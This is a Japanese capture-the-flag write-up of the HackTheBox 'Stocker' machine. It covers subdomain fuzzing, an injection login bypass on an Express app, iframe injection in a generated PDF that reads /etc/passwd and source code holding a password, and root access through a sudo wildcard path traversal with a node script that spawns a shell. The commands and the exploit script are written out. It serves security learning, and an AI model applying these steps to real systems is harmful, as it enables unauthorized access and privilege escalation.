HackTheBox Stocker WriteUp

WriteUp 10个月前 admin
237 0 0

今回は、HackTheBoxのEasyマシン「Stocker」のWriteUpです!
名前からはどのようなボックスなのか想像がつきませんが、攻略目指して頑張ります!
HackTheBox Stocker WriteUp
グラフは、Easyらしくない形をしていますね。。。
前回のSoccer同様、最近はEasyでも難しいので気合い入れていきます!

HackTheBoxってなに?という方はこちらの記事を見てみてください!一緒にハッキングしましょう〜。

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Stocker

侵入

それでは攻略を開始しましょう〜!
まずは、いつも通りポートスキャンから行います。

┌──(kali㉿kali)-[~/Desktop/Stocker]
└─$ sudo nmap -Pn -n -v --reason -sS -p- -sC --min-rate=1000 -A 10.10.11.196 -oN nmap.log

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3d12971d86bc161683608f4f06e6d54e (RSA)
|   256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_  256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)

22番と80番を確認しました。
80番が開いているのでWebにアクセスしてみましょう。
HackTheBox Stocker WriteUp
ECサイトのようなサイトが表示されましたが、特に商品を選択できるわけではないようです。
サイトが完了すると、アカウントに登録できると書かれていました。
特に遷移はなさそうなので、ディレクトリやサブドメインを探索してみます。

┌──(kali㉿kali)-[~/Desktop/Stocker]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.stocker.htb" -u http://10.10.11.196 -fs 178

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/ '      

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.196
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.stocker.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________


dev                     [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 164ms]
:: Progress: [151265/151265] :: Job [1/1] :: 259 req/sec :: Duration: [0:09:42] :: Errors: 0 ::

devというサブドメインを発見しました。
hostsファイルに登録し、再度アクセスしてみましょう。
HackTheBox Stocker WriteUp
ログイン画面が表示されました。

SQLインジェクション

特に認証情報を取得しているわけではないので、SQLインジェクションが発火するか試してみます。
HackTheBox Stocker WriteUp
SQLインジェクションは発火しなさそうです。
と、思ったのですが、今回はExpressで作成されており、Node.jsが使用されていることがわかります。
Node.jsには隠れたSQLインジェクションが存在します。下記の記事に詳細がまとめられています。

それでは、記事の方法を参考にしつつ、SQLインジェクションが発火するか再度試してみましょう。
HackTheBox Stocker WriteUp
リダイレクト先がloginではないので、SQLインジェクションが発火したことがわかります!
それでは、BurpのInterceptを利用して、リクエストを書き換え、ログインをバイパスしましょう。
HackTheBox Stocker WriteUp

商品が選択できるECサイトが表示されました!どうやら、開発段階みたいですね。

Local File Inclusion(Server Side XSS)

適当に、商品を選択してカートにいれ、購入してみます。
HackTheBox Stocker WriteUp
Order IDが出力されました。
hereをクリックすることで、注文書をみることができそうです。見てみましょう。
HackTheBox Stocker WriteUp
私はトイレットペーパーを選択したので、その名前と値段、個数が記載されています。
購入後の動作がわかったので、購入処理を行う際のリクエストをみてみます。
HackTheBox Stocker WriteUp
idやtitleが送られています。よくみてみると、titleで送信されている文字がそのままItemの名前として出力されていることがわかります。
もしこれを変更することができれば、何かしらの脆弱性を発火させることができるかもしれません。
titleをtestに変更し、もう一度購入処理を行ってみます。
HackTheBox Stocker WriteUp
購入が完了したら、注文書を見てみましょう。
HackTheBox Stocker WriteUp
titleがtestになっています!これにより、ユーザの好きな値に変更できることがわかりました。
HackTheBox Stocker WriteUp
また、開発者ツールで確認すると、testという値はspanタグで囲まれていることがわかりました。

まず試してみることは、iframeによるLFIを発火させることです。
同じようにInterceptを使用し、titleの値を変更していきます。
HackTheBox Stocker WriteUp
srcでpasswdファイルを指定しています。
それでは注文書を見てみましょう。
HackTheBox Stocker WriteUp
LFIが発火しました!
また、passwdファイルの内容から、angooseユーザの存在を確認できました!
次に、SSH秘密鍵を取得しようとしましたが、失敗したのでindex.jsを見てみることにします。
サブドメインがdevなので、wwwのあとはdevを指定します。
HackTheBox Stocker WriteUp
では、同じように注文書を出力し、コードを見てみましょう。
HackTheBox Stocker WriteUp
mongodbの認証情報として、devユーザのパスワードが書かれています!

angooseとしてのシェル

それではパスワードを発見したので、とりあえずSSHログインに使用できないか試してみましょう。

┌──(kali㉿kali)-[~/Desktop/Stocker]
└─$ ssh [email protected]                                                             
[email protected] password: 

angoose@stocker:~$ whoami
angoose

SSH接続に成功しました!

angoose@stocker:~$ ls -l
total 4
-rw-r----- 1 root angoose 33 Jun 24 09:29 user.txt

ユーザフラグも取得することができました!

権限昇格

それでは、この勢いのままルートまで取得してしまいましょう!
まずはいつものようにsudoを実行してみます。

angoose@stocker:~$ sudo -l
[sudo] password for angoose: 
Matching Defaults entries for angoose on stocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js

nodeをsudoで実行可能のようです!実行できるスクリプトは/usr/local/scriptsディレクトリの配下にあるjsファイルでないといけないようです。では、scriptsディレクトリに書き込み権限があるかみてみましょう。

angoose@stocker:~$ ls -l /usr/local
total 36
drwxr-xr-x 2 root root 4096 Dec  6  2022 bin
drwxr-xr-x 2 root root 4096 Dec  6  2022 etc
drwxr-xr-x 2 root root 4096 Dec  6  2022 games
drwxr-xr-x 2 root root 4096 Dec  6  2022 include
drwxr-xr-x 3 root root 4096 Dec  6  2022 lib
lrwxrwxrwx 1 root root    9 Nov 19  2022 man -> share/man
drwxr-xr-x 2 root root 4096 Dec 23  2022 sbin
drwxr-xr-x 3 root root 4096 Dec  6  2022 scripts
drwxr-xr-x 5 root root 4096 Dec  6  2022 share
drwxr-xr-x 2 root root 4096 Dec  6  2022 src

書き込み権限はなさそうです。
では、sudoを使った権限昇格はできないのか。。。と思いきや、sudoのパスの指定方法には問題があります。どこが問題なのか考えてみましょう。

(ALL) /usr/bin/node /usr/local/scripts/*.js

今回のケースではscriptsディレクトリの後にアスタリスクを使用し、scriptsディレクトリにあるjsファイルであればすべて実行できるようにしてました。運用上あり得そうな話ですが、ここが問題点です。
アスタリスクはすべての文字を許可するため、「../」を使用することでディレクトリを好きに移動させることが可能です。要するに、自分が作成したjsファイルをルート権限で使用できるのです。

rootとしてのシェル

それでは、権限昇格を行いましょう。
まず、実行するスクリプトを作成しなければいけません。
どのようなスクリプトを作成するのかですが、nodeを使用した権限昇格方法はGTFOBinsにまとめられています。

GTFOBinsを参考にし、スクリプトを作成していきましょう。

angoose@stocker:~$ cat exploit.js
require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})

スクリプトが用意できたので、実行してみましょう!

angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/exploit.js
root@stocker:/home/angoose# whoami
root

権限昇格成功です!

root@stocker:~# ls -l
total 4
-rw-r----- 1 root root 33 Jun 24 09:29 root.txt

フラグも取得し、完全攻略です〜〜!!

攻略を終えて

今回のマシンは、グラフの形にしては簡単だったのかなと思いましたが、Node.jsでのSQLインジェクションやPDFでのLFIなどに対して知見がない状態だと確かにMediumぐらいの難易度はあるのではないかなと思います。
最近では、Expressを使用したサイトも多くなってきていると思うので、今回使用したSQLインジェクションには徹底した対策を呼びかける必要があるなと感じました。また、権限昇格では一度にすべてのjsファイルを指定したいがために、アスタリスクを使用していたことが問題となりました。正直、一つ一つ指定することは大変ですし、コードも汚く見えてきます。しかし、sudoといった一歩扱いを間違えると大変なことになるものに関しては、面倒でも慎重に設定する必要があると再認識しました。
難易度感も私にとってはちょうど良く、学びとしても多くのことを学ぶことができたマシンだったと思います!
今後もHackTheBoxのWriteUpを公開していきますので、みていただけると嬉しいです!
最後まで閲覧していただきありがとうございました〜〜!!

 

原文始发于PerplexinHackTheBox Stocker WriteUp

版权声明:admin 发表于 2023年6月28日 上午9:22。
转载请注明:HackTheBox Stocker WriteUp | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...